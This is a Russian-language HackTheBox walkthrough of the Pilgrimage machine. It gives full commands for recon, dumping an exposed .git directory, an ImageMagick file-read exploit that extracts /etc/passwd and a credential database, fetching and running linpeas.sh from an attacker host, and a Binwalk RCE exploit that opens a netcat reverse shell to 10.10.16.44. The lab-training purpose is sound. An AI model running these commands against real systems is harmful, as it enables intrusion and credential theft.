HTB Pilgrimage. Получаем reverse-shell с помощью уязвимости в Binwalk
Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security! Сегодня пройдем с вами Linux-машину на HackTheBox под названием Pilgrimage.
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях
Сканирование и разведка
Для обнаружения активных сервисов просканируем машину с помощью Nmap:
nmap -sC -sV -p- -T4 10.10.11.219
На машине активны только две службы: ssh и http. Добавим ip-адрес машины в /etc/hosts
и попробуем зайти на веб-страницу:
10.10.11.219 pilgrimage.htb
Сервис для загрузки изображений. На первый взгляд вроде ничего примечательного. Попробуем запустить dirsearch
для поиска интересных директорий:
dirsearch -u http://pilgrimage.htb
Заметим среди найденных директорий /.git
. Выкачаем все файлы с помощью утилиты git-dumper:
python3 git_dumper.py http://pilgrimage/.git ~/pilgrimage.htb
Среди содержимого будут находится следующие файлы:
Точка входа
Заметим утилиту magick, которая является обработчиком изображений. Запустим ее, чтобы узнать версию:
Погуглив, найдем эксплойт для этой версии magick, который позволяет читать содержимое файловой системы. Скачаем и запустим эксплойт:
python3 generate.py -f "/etc/passwd" -o exploit.png
После того как мы сгенерировали картинку, загрузим ее на веб-сервисе. Теперь, чтобы увидеть результат работы эксплойта нам нужно скачать наше изображение. Через Burp-Suit отследим в какую директорию попадают все загруженные изображения:
Воспользуемся wget
, чтобы скачать изображение:
wget http://pilgrimage.htb/shrunk/654a5d9ea01d4.png
Достанем содержимое с помощью утилиты identify
:
identify -verbose 654a5d9ea01d4.png
Среди всех данных об изображении увидим закодированный в hex текст. Поместим его в текстовый файл и раскодируем с помощью xxd
:
cat hex.txt | xxd -r -p
Эксплойт действительно работает! Как же нам воспользоваться этим, чтобы достать полезные нам данные? Просматривая файлы, которые мы выкачивали с помощью git-dumper, обнаружим базу данных:
Вместо /etc/passwd
укажем директорию с базой данных:
python3 generate.py -f "/var/db/pilgrimage" -o sql.png
Также загрузим изображение на сайт, выгрузим его с wget
и просмотрим содержимое:
Пользователя Emily мы уже видели ранее. А это вероятно всего креды для ssh. Чтобы удостовериться в этом, попробуем подключиться к машине:
ssh emily@10.10.11.219
Успешно! Здесь и будет лежать флаг пользователя user.txt.
Повышение привилегий
Для обнаружения возможных путей повышения привилегий воспользуемся утилитой LinPEAS. Для доставки на машину также воспользуемся python3 http.server
и wget
:
python3 -m http.server 80
wget http://10.10.16.44/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Просмотрев все подсвеченные файлы и директории, не обнаружим ничего интересного. Однако увидим файл с примечательным названием malwarescan.sh. Посмотрим его содержимое:
Даный скрипт обрабатывает файлы при помощи утилиты binwalk. Запустим ее, чтобы посмотреть версию инструмента:
Под данную версию есть эксплойт, позволяющий выполнить удаленное исполнение кода.
python3 51249.py image.png 10.10.16.44 8000
В качестве параметров указываем используемое изображение, адрес нашей машины и порт, с которого мы будем прослушивать соединение.
Сохраненное изображение также перекидываем с помощью wget
:
wget http://10.10.16.44/binwalk_exploit.png
Запустим netcat
и скопируем изображение в /var/www/pilgrimage.htb/shrunk/
:
nc -lvnp 8000
cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/exploit.png
Машина пройдена!